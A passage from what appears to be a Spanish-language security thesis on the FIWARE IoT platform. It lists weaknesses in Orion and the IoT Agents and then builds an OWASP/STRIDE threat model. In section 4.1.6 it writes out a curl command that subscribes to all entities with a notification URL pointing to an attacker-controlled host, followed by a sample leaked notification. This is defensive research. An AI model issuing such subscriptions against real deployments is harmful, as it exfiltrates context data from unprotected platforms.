comunicacion entre dispositivos 10T y agente (seccion 4.1.1) y capturar un <API-KEY> valida,
podria habilitar el envio de medidas falsas de sensores registrados asi como también el envio
de medidas de sensores no existentes. Un envio de mediciones en gran escala podria causar
fallas de funcionamiento en el loT Agent u Orion, provocar denegacion de servicio o
agotamiento de recursos de almacenamiento en MongoDB.

Not r r realiz

e Este comportamiento pudo observarse en la versién 1.16.2 del componente loT Agent
Ultralight. Es muy probable que versiones anteriores tengan el mismo comportamiento;
posiblemente también agentes que manejan otros tipos de protocolos.

e Segun pudo constatarse, a partir de la version 1.17.0 de loT Agent Ultralight, se realiza
una validacion del identificador del dispositivo, sucediendo un error con cédigo HTTP
422 Unprocessable Entity cuando el dispositivo no ha sido previamente registrado. No
obstante, se observo que la entidad es igualmente creada en la base de datos de Orion
pero sin la métrica de sensado, asi como también queda una referencia al dispositivo
inexistente en la base de datos del loT Agent Ultralight.
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4.1.6. Creacion de suscripciones en Orion ante cambios de contexto

Orion permite que aplicaciones puedan suscribirse ante cambios de contexto y sean
informadas cuando ocurren variaciones. La creacidn de suscripciones admite una URL
arbitraria y condiciones que se tienen que cumplir (por ejemplo en términos de valores de
atributos y tipos de las entidades) para que se dispare el evento de notificacion. Cuando todas
las condiciones especificadas para una suscripcion son verdaderas, Orion crea una solicitud
HTTP POST sincronica a la URL especificada con la actualizacién de los datos en formato
JSON.

En este sentido las operaciones de creacion, actualizacion y listado de suscripciones pueden
suponer divulgacion de informacion sensible (datos de contexto y aplicaciones existentes
suscriptas) si su acceso no es controlado o los mecanismos de control de acceso son
permisivos.

Suponiendo un escenario en el cual no existen mecanismos de control de acceso en la
creacion de suscripciones, un atacante interactia de forma directa con Orion creando una
suscripcion donde:

e Realiza una solicitud HTTP POST al endpoint alojado en
“¢http|https>://<orion-host>:<orion-port>/v2/subscriptions” (Fiware Tutorial
Subscriptions, 2022, capitulo Setting up a simple Subscription).

e Especifica en el cuerpo del mensaje HTTP un objeto JSON donde se especifica un filtro
de entidades idPattern=.* que incluye a todas las entidades de la plataforma y una URL
de notificaciéon que apunta a un servidor de dominio del atacante (Fiware Orion, 2022,
capitulo Subscriptions; Fiware Tutorial Historic Context NIFI, 2022, capitulo Subscribing
to Context Changes):

curl -iX POST \
--url '<http|https>://<orion-host>:<orion-port>/v2/subscriptions’' \
--header 'content-type: application/json' \
--data '{
"description”: "Notify me of all entity changes",
"subject": {
"entities": [

"idPattern": ".*"
}
1
3
"notification": {
"http": {
"url": "<attacker-controlled-url>"
}
}
}'
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Por ejemplo, en el escenario de una plataforma Fiware que gestione el estado de contexto de
un almacén que vende productos, si cambia el valor del atributo “precio” de una cerveza, el
atacante recibira una notificacion con el cambio de la entdad a la URL
<attacker-controlled-url> similar al indicado a continuacion.

Simulando la actualizaciéon del valor con el siguiente request (Fiware Tutorial Subscriptions,
2022, secciéon Four Request):

curl -iX PUT \

--url
'<http|https>://<orion-host>:<orion-port>/v2/entities/urn:ngsi-1d:Product:001/attrs/price/va
lue' \

--header 'Content-Type: text/plain' \

--data 89

Este es un ejemplo de recepcion de una notificacion recibida a <attacker-controlled-urls:

POST / HTTP/1.1

Host: <attacker-controlled-url>

User-Agent: orion/3.3.1 libcurl/7.61.1

Fiware-Servicepath: /

Accept: application/json

Content-Length: 257

Content-Type: application/json; charset=utf-8

Fiware-Correlator: 7280eac8-86bc-11ec-9d24-0242ac120103; cbnotif=1
Ngsiv2-AttrsFormat: normalized

{"subscriptionId":"61fed38a99f48b3f741c055e","data":[{"id":"urn:ngsi-1d:Product:001", "type":
"Product"”,"name":{"type":"Text", "value":"Beer","metadata":{}}, "price":{"type":"Integer", "val
ue":78,"metadata":{}},"size":{"type":"Text","value":"S", "metadata":{}}}1}

4.1.7. Libreria iotagent-node-lib < 2.12.0 no soporta autenticacion con
MongoDB

lotagent-node-lib (Fiware iotagent-nodelib, 2022) es la libreria base de los loT Agents
desarrollada en Node.js® y proporcionada por Fiware para la implementacion de agentes
personalizados.

En base a la inspeccién de los releases y commits realizados en el proyecto (ver Figura 19), se
pudo constatar que el soporte para autenticacién con MongoDB fue adicionada en la version
2.12.0 que salid en abril de 2020, por lo que versiones anteriores no tienen dicha capacidad.

8 https://nodejs.org
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2.12.0

ﬁlga\an released this Apr 07, 2020 1175 commits to master since this release  © 2.12.0 - be9cae? &)

This is the last version of the library supporting Nodev8. Note that Nodev8 was deprecated in December 2019, according to the no
highly encouraged to use Nodev10 or newer.

Changes (since 2.11.0):

« Add: NGSIv2 metadata support to device provisioned attributes

« Add NGSIv2 metadata support to attributeAlias plugin.
[Add mongodb authenticat\on:lOTAfMONGOﬁUSER, IOTA_MONGO_PASSWORD and IOTA_ MONGO_AUTH_SOURCE (#844)

« Fix: Error message when sending measures with unknown/undefined attribute
« Fix: add null check within executeWithSecurity() to avoid crash (#829)

Figura 19 — Detalle de release de versién 2.12.0 de libreria iotagent-node-lib°

El detalle de los cambios realizados en la version 2.12.0 puede observarse en el Anexo 4:

4.1.8. Libreria iotagent-node-lib < 2.13.0 no soporta TLS con MongoDB

En base a la inspeccién de los releases y commits realizados en el proyecto (ver Figura 20), se
pudo constatar que el soporte para comunicaciones cifradas TLS con MongoDB fue adicionada
en la version 2.13.0 que salié en setiembre de 2020, por lo que versiones anteriores no tienen
dicha capacidad.

2.13.0

@ Alvarovega released this Sep 14,2020  © 2.13.0 -0 e5928b4 @

This release removes support from Nodev8. Note that Nodev8 was deprecated in December 2019 according to the node 1
encouraged to use Nodevl10 or newer.

Changes (since 2.12.0):

« Add: support for JEXL as expression language (#801, #687, #868)

= Add: expressionLanguage to save/update device and group

.I Add mongodb additional options ( ss1 and extraArgs )}0 be able to connect "MongoDB as a Cloud Service" (#859)
+ Add: template to allow metadata to be set via the Device API (#870)

» Add: selectively ignore some of the measures (iotagent-json#416, iotagent-ul#372)

= Fix: multientity when more than 2 attribute with same name and object_id (#877)

Figura 20 — Detalle de release de version 2.13.0 de iotagent-node-lib"

El detalle de los cambios realizados en la version 2.13.0 puede observarse en el anexo 5.

% https://github.com/telefonicaid/iotagent-node-lib/releases/tag/2.12.0
"0 https://github.com/telefonicaid/iotagent-node-lib/releases/tag/2.13.0
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4.1.9. Orion < 2.3.0 no soporta TLS con MongoDB

En base a la inspeccién de los releases y commits realizados en el proyecto (ver Figura 21), se
pudo constatar que el soporte para comunicaciones cifradas TLS con MongoDB fue adicionada
en la version 2.3.0 de Orion que salié en noviembre de 2019, por lo que versiones anteriores no
tienen dicha capacidad.

2.3.0

o@ fgalan released this Nov 05, 2019 . 1551 commits to master since this release  © 2.3.0 -0 764f44b

Full documentation at: http:/fiware-orion.readthedocs.io/en/2.3.0/
NGSIv2 API reference (v2.0): http:/ftelefonicaid.github.io/fiware-orion/api/fv2/stable
Changes (since 2.2.0):

« Add: basic NGSIv2 queries and updates forwarding (#3068)

« Add: idPattern ".* support in in NGSIv2 registrations (#3458)

« Add: Notify only attributes that change (#3190)

« Add: CLI option -inReqPayloadMaxSize to let users decide the maximum allowed size of incoming request payloads (|
« Add: CLI option -outRegMsgMaxSize to let users decide the maximum allowed total size of any outgoing request mesd
« Add: -dbAuthMech CLI parameter to set MongoDB authentication mechanism (#2987)

« Add: -dbAuthDb CLI parameter to set MongoDB authentication database

+|Add: -dbSSL to enable SSL in the connection to DBf(#3524)

« Fix: The 'Allow:" header for the service fv2iregistrations had the incorrect value of "Allow: POST". The correct value is

Figura 21 — Detalle de release de version 2.3.0 de Orion'

El detalle de los cambios realizados en la versién 2.3.0 puede verse en el Anexo 6.

4.1.10. Orion no soporta verificacidon de certificados TLS con MongoDB

Orion a la fecha no soporta en ninguna de sus versiones la verificacion del path certificate en
las comunicaciones TLS con MongoDB. Esto significa que la implementacién de Orion en el
uso del conector mongodb no brinda soporte para validar el certificado que ofrece el servidor
MongoDB si se utilizan comunicaciones cifradas.

Se pudo constatar que en la version 3.0.0 (ver Figura 22) de abril de 2021 se introdujo un
cambio que acepta el uso de certificados invalidos mediante la opcion
tlsAllowInvalidCertificates=true en el conector mongodb utilizado por Orion. Tal como
se indica en la documentacion oficial de MongoDB se recomienda fuertemente evitar el uso de
dicha propiedad (ver Figura 24). Esto podria permitir ataques man-in-the-middle (MiTM) entre
Orion «—— MongoDB y que no sean detectados.

" https://github.com/telefonicaid/fiware-orion/releases/tag/2.3.0
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3.0.0

@-fgalan released this Apr 12, 2021 - 837 commits to master since this release  © 3.00 -0 defsfac

Full documentation at: http:/ffiware-orion.readthedocs.io/en/3.0.0/
NGSIv2 API reference (v2.0): hitp:/itelefonicaid.github.io/fiware-orion/api/v2/stable
Changes (since 2.6.0):

+ Reference distribution changed from RHEL/CentOS 7 to RHEL/CentOS 8 (#3764)

+ Reference MongoDB version changed from 3.6 to 4.4

+ Add: SCRAM-SHA-256 as allowed mechanism in -dbAuthMech (#3782)

. lAdd: tlsAllowlnvalidCertificates=true to mongo connection URI along with tis=true when -dbSSL switch is usedl

» Add: new CLI parameter -dbDisableRetryWrites to set retryWrite parameter to false in DB connections (#3797)

« Add: machine information in GET /version

Figura 22 — Detalle de release de version 3.0.0 de Orion™

@ github.com/Le!

359 optionPrefix = "&";

360 3

361

362 if (dbSSL)

363 {

364 uri += optionPrefix + "tls=true&tlsAllowInvalidCertificates=true";
365 optionPrefix = "&";

366 3

367

Figura 23 — Opcion tisAllowinvalidCertificates=true en conexion con MongoDB™

I Avoid Use of --tlsAllowInvalidCertificates Option]

A WARNING

Although available, avoid using the |- - t1sAllowInvalidCertificates| option if possible. If the
use of --tlsAllowInvalidCertificates| is necessary, only use the option on systems where
intrusion is not possible.

It mongosh runs with the --tlsAllowInvalidCertificates|option, mongosh wil not attempt
to validate the server certificates. This creates a vulnerability to expired mongod and mongos
certificates as well as to foreign processes posing as valid mongod or mengos| instances. If you only
need to disable the validation of the hostname in the TLS/SSL certificates, see
--tlsAllowInvalidHostnames,

Figura 24 — Recomendacion en el uso de opcion tisAllowinvalidCertificates por MongoDB™

4.1.11. Ausencia de soporte de Docker Secrets en releases con fecha <
2019

El uso de Docker Secrets tiene por finalidad proteger la informacién sensible en transito tal
como ser credenciales, secretos, etc. En el caso de los componentes docker de Fiware, los
datos de configuracion de las instancias se pasan por medio de variables de entorno.

12 https://github.com/telefonicaid/fiware-orion/releases/tag/3.0.0
13

https://github.com/telefonicaid/fiware-orion/blob/906bffaac1e940210856b4e61da7c9d24e05537/src/lib/mongoDriver/
mongoConnectionPool.cpp#L364
4 https://docs.mongodb.com/manual/tutorial/configure-ssl-clients/#avoid-use-of---tisallowinvalidcertificates-option
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Orion actualmente no tiene soporte para Docker Secrets como se ha podido corroborar al
inspeccionar el codigo fuente y la documentacién oficial.

En relacién a los componentes loT Agents, se pudo observar un aumento de soporte gradual a
lo largo de los afios comenzando desde 2019 a partir del reporte de un issue' mostrando tal
problematica. Por ende, versiones anteriores de dichos componentes no brindan dicha
capacidad.

En el caso del componente loT Agent con protocolo Ultralight, el soporte comenzo en la version
1.9.0 de febrero 2019 hasta la 1.17.0 de junio de 2021 donde se comunicé oficialmente la
caracteristica adicionada de Docker Secrets.

1.17.0

@ fgalan released this Jun 18, 2021 - 141 commits to master since this release  © 1.17.0 -0- a830878 &

This release removes support from Nodev10. Note that Nodev10 was deprecated in May 2021 according to the node
to use Nodevl2 or newer.

Changes (since 1.16.0):

+ Add: MQTT options clean and clientId (env vars IOTA MQTT CLEAand IOTA MQTT_CLIENT ID) (#371)

. [Add: list of environment variables which can be protected by Docker Secrets]

= Fix: check autoprovision flag before register device
« Fix: missing content-type: text/plain header in the request sent to device command endpoint (HTTP transport) (*)

Cive: musmicl wmimn snmmcs aloses adham o manacs s ie et seachine o ceasin soefiaeeatine

Figura 25 — Detalle de version 1.17.0 de loT Agent Ultralight 2.0

Para el componente loT Agent con protocolo JSON, se fueron adicionando de forma gradual
varios parametros soportados hasta su comunicacién oficial en la version 1.18.0 de junio de
2021.

1.18.0

I‘Q fgalan released this Jun 18, 2021 137 commits to master since this release  © 1180 - abab467 &

This release removes support from Nodev10. Note that Nodev10 was deprecated in May 2021 according
to use Nodev12 or newer.

Changes (since 1.17.0)

« Add: MQTT options clean and clientId (env vars IOTA_MQTT_CLEAN and IOTA_MQTT_CLIENT]

-[Add: list of environment variables which can be protected by Docker Secretsl

= Fix: check autoprovision flag before register device

Figura 26 — Detalle de versién 1.18.0 de loT Agent JSON'"”

'8 https://github.com/telefonicaid/iotagent-ul/issues/329
16 https://github.com/telefonicaid/iotagent-ul/releases/tag/1.17.0
7 https://github.com/telefonicaid/iotagent-json/releases/tag/1.18.0
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4.1.12. Cuentas de sensores loT en IdM de Fiware sélo soportan nivel 1 de
seguridad

Tal como se comenta en el capitulo de antecedentes y en las restricciones al modelo de control
de acceso en la seccion 3.1.3.3, las cuentas de sensores creadas a través de Fiware IdM
Keyrock y utilizadas por dispositivos I0T solo brindan soporte para autenticacion pero no
autorizacion.

Se plantea un escenario de ataque en el cual si las credenciales de un sensor fueran
comprometidas, podrian ser utilizadas para simular medidas provenientes de otros sensores.
Asimismo, seria posible generar medidas de sensores inexistentes tal como se estudia en el
punto 4.1.5.
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4.2. Modelado de amenazas en escenario de estudio

Dado el escenario de estudio que se presenta a continuacion, se busca modelar las amenazas
siguiendo la metodologia planteada por OWASP'®. OWASP'® es una organizacion sin fines de
lucro que tiene como propédsito mejorar la seguridad de las aplicaciones, proporcionando
recursos, herramientas, educacion, capacitaciones y una gran comunidad por detras.

La metodologia plantea un enfoque de trabajo metodoldgico, con buena documentacion y
mantenida por una organizacion conocida y referente de seguridad, lo cual representa un punto
de partida muy relevante. Tiene por objetivos la identificacion, cuantificacion y abordaje de los
riesgos de seguridad asociados desde una perspectiva ofensiva, en 3 etapas.

e Etapa 1: Descomponer la aplicacion.
e Etapa 2: Identificar amenazas y su nivel de riesgo.
e FEtapa 3: Determinar contramedidas y mitigaciones.

En este apartado, el foco del proceso de modelado esta puesto en los siguientes puntos
incluidos en las primeras 2 etapas anteriores:

e Descomponer la aplicacion de caso de estudio desde la perspectiva de un atacante,
identificando sus puntos de entrada, activos y permisos de acceso requeridos,
finalizando con la elaboracion de una representacion visual de los componentes vy flujos
de datos.

e Identificar amenazas siguiendo la metodologia STRIDE, la cual permite distinguir
amenazas clasificandolas en 6 objetivos potenciales por parte de un atacante.

e Analizar objetivos de ataque en activos considerados criticos en el escenario.

4.2.1. Caso de estudio / Escenario de trabajo

En el marco de la definicién del escenario de trabajo se decidié considerar uno que contenga
componentes que en toda solucién Fiware deberian estar presentes. En este sentido, fue de
interés que la arquitectura de la solucién a considerar fuera simple y con un despliegue “tipo”
de los componentes como microservicios.

'8 OWASP Threat Modeling: https://owasp.org/www-community/Threat_Modeling_Process#introduction
® OWASP: https://owasp.org/
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4.2.1.1. Arquitectura
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Figura 27 — Arquitectura de caso de estudio (Fiware Tutorial loT Agent, 2022)

4.2.1.2. Caracteristicas

El caso de estudio esta basado en una version a junio de 2021%° de un tutorial proporcionado
por Fiware (Fiware Tutorial IoT Agent, 2022) con el fin del entendimiento de la plataforma. Se
trata de un escenario simple que describe una aplicacion para manejo de stock de una cadena
de supermercados.

Tiene las siguientes caracteristicas:

a) Principales funcionalidades

e Por defecto existen 4 supermercados y cada supermercado tiene 4
sensores/actuadores.

e Los sensores/actuadores son simulados mediante software y pueden ser
controlados realizando solicitudes NGSI dirigidas hacia el Orion Context Broker,
como también a través de una aplicacion web “monitor” de sensores.
Comunmente se utiliza la terminologia sensores “dummy” dado que representan
o simulan dispositivos reales, pero no lo son.

e Pueden ser realizadas solicitudes NGSI de forma directa hacia el componente
Orion Context Broker.

e Pueden ser realizadas solicitudes NGSI de forma directa hacia el componente
loT Agent.

2 https://github.com/FIWARE/tutorials.loT-Agent/tree/5f7e7bcc1b80aeed 1dbe66dd07 3ffdde245d 1342
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b) Componentes de Fiware:
e Orion
e |oT Agent

¢) Otros componentes presentes:

e Base de datos MongoDB utilizada por los componentes Orion y loT Agent.

e Aplicacién web de manejo de stock (Stock Management Front-End).

e Aplicacion web que simula sensores y actuadores loT ("dummies"): Bell
(campana), Motion Sensor (sensor de movimiento), Smart Lamp (lampara
inteligente) y Smart Door (puerta inteligente).

e Componente Context Provider NGSI Proxy tiene por objetivo obtener informacién
de fuentes de informacion externas, como es el clima o fweets en este caso en
base a ciertos parametros de configuracién; sin embargo no es directamente
utilizado en este escenario.
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4.2.2. Descomposicion del caso de estudio

4.2.2.1. Fuera del alcance

Siendo el foco de investigacion la plataforma Fiware y los componentes asociados al escenario
planteado, quedan por fuera del alcance del estudio los dispositivos loT y flujo de datos
asociado a su configuracion.

4.2.2.2. ldentificacion de usuarios

Se identifican los siguientes actores interactuando con el sistema:
Usuarios andnimos / aplicaciones web /| web browsers / otras aplicaciones que se
vinculan de forma directa con Orion Context Broker realizando consultas y manejo de la
informacién de contexto.
Administradores que seran capaces de realizar configuraciones en todos los
componentes (Orion Context Broker, lIoT Agent, motor de base de datos MongoDB,

dispositivos IoT).

4.2.2.3. |dentificacion de procesos o subsistemas

Los procesos estan representados por actividades en las cuales se procesan datos o se realiza
alguna accién en base a la informacion recibida.

ID

Nombre

Descripcién

PO1

Orion Context
Broker

Orion es una implementacién C ++ de la especificacion APl REST
NGSIv2 desarrollado como parte de la plataforma FIWARE.

Permite administrar el ciclo de vida de la informacion de contexto,
incluidas actualizaciones, consultas, registros y suscripciones.

P02

loT Agent

Componente que permite a un grupo de dispositivos 10T enviar datos
y ser administrados por el componente Orion, utilizando sus
protocolos nativos de comunicacion.

En el escenario, este componente permite administrar dispositivos
que manejan el protocolo Ultralight 2.0 sobre HTTP. Ultralight 2.0 es
un protocolo simple basado en texto para dispositivos con recursos
de memoria y ancho de banda limitados.

P03

Dispositivo loT

Dispositivo inteligente sensor, actuador o ambos.
Queda por fuera del alcance del estudio.

Tabla 1 — Modelado amenazas - Identificacién de procesos o subsistemas
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4.2.2.4. Dependencias externas

Una dependencia externa supone un vinculo requerido y necesario en el escenario, el cual
debe existir para su funcionamiento, pero del que no se dispone un control total del mismo.

ID | Descripcion

D01 | Los componentes de la arquitectura se encuentran distribuidos como imagenes docker.
Las mismas pueden descargarse directamente desde el repositorio publico
https://hub.docker.com/. También es posible construir dichas imagenes a partir de
recetas versionadas en conjunto con el cédigo fuente publico de cada componente.

El equipo/servidor que sirve de host debe tener instalada la plataforma docker.

D02 | La base de datos utilizada por los componentes Orion Context Brokery IoT Agent es
MongoDB.

La misma instancia de motor de MongoDB es utilizada para albergar las bases de
datos involucradas.

Tabla 2 — Modelado amenazas - Dependencias externas

4.2.2.5. Niveles de confianza (trust levels)

Los niveles de confianza configuran los derechos de acceso que seran otorgados a entidades
externas en la plataforma.

ID | Nombre Descripcion

NO1 | Usuario anénimo | Usuario sin credenciales en la plataforma. Engloba acceso a
puntos de entrada de los componentes de Fiware y base de datos

MongoDB.
NO2 | Usuario Usuario administrador. Engloba administracién de componentes
administrador de Fiware, base de datos MongoDB, infraestructura docker,

configuraciones.

Es de destacar que los puntos de entrada (ver 4.2.2.6) de los
componentes del escenario planteado no exigen autenticacion ni
autorizacion, por lo que un usuario administrador actia como
usuario anénimo.

No obstante, en el caso de los servicios docker, el usuario si debe
pertenecer a ciertos grupos que le habilitan realizar
configuraciones de super usuario en la infraestructura.

NO3 | Dispositivo loT Dispositivo IoT no reconocido. Los reportes de medidas dirigidos
anonimo al loT Agent no incluyen parametro de autenticacion “security key”
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valido.

NO4

Dispositivo loT
autenticado con
parametro
“security key”

Agent.

Dispositivo loT que envia como parte del reporte de medidas un
parametro “security key” valido previamente configurado en el loT

Tabla 3 — Modelado de amenazas - Niveles de confianza (trust levels)

4.2.2.6. Puntos de entrada y salida (entry / exit points)

Los puntos de entrada definen las interfaces mediante las cuales los potenciales atacantes
pueden interactuar con el sistema y proporcionar datos; mientras que los puntos de salida
representan aquellos lugares donde los datos salen del sistema.

Se identifican los siguientes puntos (comunicacion bidireccional sincrénica):

ID | Nombre Descripcion Nivel de confianza

P01 | Puerto Puerto utilizado para configurar el loT Agenty | Usuario anénimo
IOTA_NORTH | recibir actualizaciones de contexto por parte (NO1)

_PORT 4041 del Context Broker. Usualmente se le
denomina “puerto norte” (Fox, 2019, abril 3,
p. 6).

P02 | Puerto Puerto utilizado por el loT Agent para recibir Dispositivo loT
IOTA_SOUTH | medidas utilizando el protocolo Ultralight anonimo (N03)
_PORT 7896 sobre HTTP por parte de los dispositivos IoT.

Usualmente se le denomina “puerto sur” Dispositivo loT

(Fox, 2019, abril 3, p. 6). autenticado con
parametro security
key (N0O4)

P03 | Puerto Puerto de escucha utilizado por parte del Usuario anoénimo
ORION_PORT | Context Broker para recibir actualizaciones de | (NO1)

1026 contexto y realizar configuraciones.

P04 | Puerto Puerto de escucha de MongoDB. Usuario anénimo
MONGO_DB _ (NO1)

PORT 27017

P05 | Acceso shell Punto de acceso a contenedor docker en Usuario
interactiva loT | ejecucion de loT Agent con una shell Linux administrador (N02)
Agent interactiva.

P06 | Acceso shell Punto de acceso a contenedor docker en Usuario
interactiva ejecucion de Context Broker con una shell administrador (N02)
Orion Linux interactiva.
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P07

Acceso shell Punto de acceso a contenedor docker en Usuario
interactiva ejecucion de MongoDB con una shell Linux administrador (N02)
MongoDB interactiva.

Tabla 4 — Modelado de amenazas - Puntos de entrada y salida (entry / exit points)

4.2.2.7. Limites / Barreras de confianza (trust boundaries)

Los puntos de entrada y salida definen los limites de confianza. De esta forma, la barrera de
confianza se configura donde la confianza cambia o se pierde.

ID | Nombre Descripcion Punto de I/O

101 | Orion - MongoDB Almacenamiento y consulta de informacion | P04
(Interfaz 1) de contexto. Alta de registrations y

subscriptions.

Orion permite que entidades externas
puedan suscribirse a la informacion de
contexto para que cuando se produzca
alguna condicion, reciba una notificacion?'.

102 | IoT Agent - Dispositivo Envio de comandos a dispositivo loT P02
loT (protocolo nativo loT). Reporte de medidas
(Interfaz 2) hacia loT Agent (protocolo nativo loT).

103 | Orion - loT Agent Envio de comandos hacia loT Agent PO1
(Interfaz 3) (protocolo NGSIv2). Reporte de medidas | P03

hacia Orion (protocolo NGSIv2).

104 | Administrador - Administracion de base de datos. P04
MongoDB Configuracién y consulta de datos P07
(Interfaz 4) almacenados. Acceso interactivo a

instancia de docker en ejecucion.

105 | loT Agent - MongoDB Almacenamiento y consulta de P04
(Interfaz 5) configuracion de parametros:

- Aprovisionamiento de grupos de
dispositivos 10T (URLs, device
keys, etc).

- Aprovisionamiento de sensores y
actuadores.

2! https:/ffiware-training.readthedocs.io/es_MX/latest/ecosistemaFIWARE/ocb/
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106 | Aplicacion - Orion Consulta y manejo de informacion de P03
(Interfaz 6) contexto.

107 | Administrador - Orion Configuracion y consulta de informacion P03
(Interfaz 7) de contexto. Acceso interactivo a instancia | P06

de docker en ejecucion.

108 [ Administrador - loT Configuracioén y consulta de parametros de | PO1
Agent configuracién de los dispositivos loT. P05
(Interfaz 8) Acceso interactivo a instancia de docker

en ejecucion.

Tabla 5 — Modelado de amenazas - Limites / Barreras de confianza (trust boundaries)

4.2.2.8. ldentificacion de activos

Un activo es definido como cualquier recurso de valor que puede ser de interés para un
atacante y que requiere proteccion. Se identifican los siguientes activos:

ID Nombre Descripcion
A01 Orion Componente Fiware Orion Context Broker.
A02 Datos de contexto Informacion de contexto de entidades existentes en el
escenario planteado.
A03 | Datos de configuracion Parametros de configuracion de Orion Context Broker
Orion (registrations, subscriptions).
A04 Datos de configuracion Parametros de configuracion de loT Agent (service
loT Agent group provisioning, device provisioning, device keys,
etc).
A05 | Datos de configuracion Parametros de configuracion de imagenes Docker.
Docker
AO06 loT Agent Componente Fiware loT Agent.
AQ7 | Motor de base de datos | Motor de base de datos MongoDB.
MongoDB
A08 Base de datos Orion Base de datos del componente Orion Context Broker en
AO07.
A09 Base de datos loT Agent | Base de datos del componente /oT Agent en A07 .

66




A10 [ Servicios de plataforma | Servicios de la plataforma Docker que dan sustento al
Docker despliegue de componentes.
A11 Datos de Personal de Datos de identificacidon y autenticacion del Personal de
administracion administracion.
Tabla 6 — Modelado de amenazas - Identificacion de activos
4.2.3. Diagrama de flujo de datos (DFD)

Un diagrama de flujo de datos o DFD permite visualizar cémo la informacién fluye entre los
diferentes componentes de un sistema. Se representan los lugares donde ingresan o salen
datos de cada proceso o subsistema; ésto incluye lugares de almacenamiento de datos ya sea
de forma temporal o a largo plazo, y datos en transito.

Siguiendo la metodologia de OWASP para la definicion de DFD (OWASP Foundation, 2022;

DilLeo,

2019; Jagannathan, 2016), y tomando como entrada los elementos identificados al

descomponer el escenario de estudio, la estrategia fue:

Adicionar actores internos y externos (ver 4.2.2.2).
Adicionar procesos o0 subsistemas (ver 4.2.2.3).
Adicionar almacenes de datos (ver 4.2.2.4).
Identificar las fronteras de confianza (ver 4.2.2.5).
Adicionar flujos de informacion.

A los efectos de representar visualmente el DFD se utilizd la herramienta OWASP Threat
Dragon?2. Como resultado se obtuvo el siguiente diagrama el cual utiliza la notacién:

Figuras rectangulares representan entidades externas que interactuan en el escenario:
administradores y usuarios anénimos.

Circulos simbolizan procesos: Orion, loT Agent y dispositivos loT. Si es un circulo
punteado significa que esta fuera del alcance, caso de los dispositivos |oT.

Almacenes de datos denotados por dos lineas paralelas distantes: motor de base de
datos MongoDB.

Lineas punteadas sefialan las barreras de confianza.

Flechas indican los flujos de datos entre actores, procesos y almacenes de datos. Si
son flechas punteadas significa que estan por fuera del alcance, caso del flujo
“Configuracion y consulta” desde el Administrador hacia los dispositivos loT.

2 https://owasp.org/www-project-threat-dragon/
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Figura 28 — Diagrama de flujo de datos de caso de estudio

(elaboracion propia)

4.2.4. |dentificacion de amenazas

4.2.4.1. Metodologia STRIDE

Siguiendo las recomendaciones de OWASP para el modelado de amenazas, se opta por utilizar
la metodologia STRIDE (Microsoft Security, 2007) que ofrece una division de las amenazas por
categorias. Cada categoria hace referencia a una propiedad de seguridad que esta siendo

afectada.
Nombre Descripcion Propiedad de
seguridad afectada
Spoofing Impersonar / realizar acciones en nombre | Autenticacion
de otro actor o proceso
Tampering Realizar modificaciones no autorizadas Integridad
Repudiation Negar la autoria de una accion No repudio
Information disclosure | Exposicion de informacién a un actor o Confidencialidad
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proceso no autorizado

Denial of service Indisponibilidad de un servicio

Disponibilidad

Elevation of privilege | Elevar el nivel de acceso de un actor o

proceso

Autorizacion

Tabla 7 — Modelado de amenazas - Categorias de amenazas STRIDE (Microsoft Security, 2007)

4.2.4.1.1. Fuera del alcance

De acuerdo a la seccion 4.2.2.1 y al DFD visto en 4.2.3 se determina que los siguientes
componentes y flujos quedan por fuera del alcance del estudio:

Dispositivo loT.

Flujo "Configuracién y consulta" Administrador -> Dispositivo IoT.

4.2.4.1.2. Spoofing

ID Amenaza Interfaz en DFD
TO1 loT Agent malicioso / falso. 102
103
105
T02 Orion malicioso / falso. 101
103
106
TO03 Base de datos MongoDB comprometida. 101
105
TO4 Atacante suplantando identidad de un administrador. 104
107
108
TO5 Usuario suplantando identidad de una aplicacion. 106

Tabla 8 — Modelado de amenazas STRIDE - Spoofing

4.2.4.1.3. Tampering

ID Amenaza Interfaz en DFD
TO6 Manipulacion de entidades, atributos, configuraciones de 104
parametros, informacion de contexto durante mantenimientos 107
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locales. 108

TO7 Manipulacidon de imagenes docker durante mantenimientos 104
locales. 107

108

TO8 Alteracién de datos en transito en comunicaciones Orion <-> [oT | 103
Agent.

TO9 Alteracién de datos en transito en comunicaciones Orion <-> 101
MongoDB.

T10 Alteracion de datos en transito en comunicaciones loT Agent -> 102
Dispositivo loT.

T11 Alteracion de datos en transito en comunicaciones loT Agent <-> | |05
MongoDB.

T12 Alteracién de datos en transito en comunicaciones 106
usuario/aplicacion/browser <-> Qrion.

Tabla 9 — Modelado de amenazas STRIDE - Tampering

4.2.4.1.4. Repudiation

ID Amenaza Interfaz en DFD
T13 | Orion falso suplantando la identidad de Orion legitimo. 101
103
106
T14 | loT Agent falso suplantando la identidad de loT Agent legitimo. 102
103
105
T15 | Base de datos MongoDB comprometida suplantando identidad 101
de MongoDB legitima. 105
T16 | Actualizacion anénima de imagenes docker y parametros de 104
configuracién de Orion, loT Agent y MongoDB. 107
108
T17 | Modificacion anénima de datos de contexto. 104
106
107
T18 | Modificacion anénima de configuraciones de contexto. 104
106
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107

Tabla 10 — Modelado de amenazas STRIDE - Repudiation

4.2.4.1.5. Information disclosure

ID Amenaza Interfaz en DFD
T19 Escucha de comunicaciones entre Orion <-> MongoDB. 101
T20 Escucha de comunicaciones entre loT Agent <-> Orion. 103
T21 Escucha de comunicaciones entre 1oT Agent <-> MongoDB. 105
T22 Escucha de comunicaciones entre Usuario/Aplicacion/Browser | 106
<-> QOrion.
T23 Escucha de comunicaciones entre loT Agent -> Dispositivo [oT. | 102
T24 Filtracién de registros de la base de datos MongoDB. 101
05
T25 Filtracién de parametros de configuracion de imagenes docker. | 104
08
T26 Filtracién de datos de contexto y configuraciones. 104
06

Tabla 11 — Modelado de amenazas STRIDE - Information disclosure

4.2.4.1.6. Denial of service

ID Amenaza Interfaz en DFD
T27 Orion no responde / fuera de servicio. 103
106
T28 loT Agent no responde / fuera de servicio. 102
103
T29 Base de datos no responde / fuera de servicio / espacio en 101
disco lleno. 105

Tabla 12 — Modelado de amenazas STRIDE - Denial of service
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4.2.4.1.7. Elevation of privilege

ID Amenaza Interfaz en DFD
T30 Acceso no autorizado a Orion. 106
107
T31 Acceso no autorizado a loT Agent. 108
T32 Acceso no autorizado a motor de base de datos MongoDB. 104
T33 Escapar del sandbox de Docker y acceder al equipo/servidor | 104
host. 107
108

4.2.5. Analisis de ataque

Tabla 13 — Modelado de amenazas STRIDE - Elevation of privilege

De acuerdo a los activos identificados en 4.2.2.8 y teniendo en cuenta que Orion Context
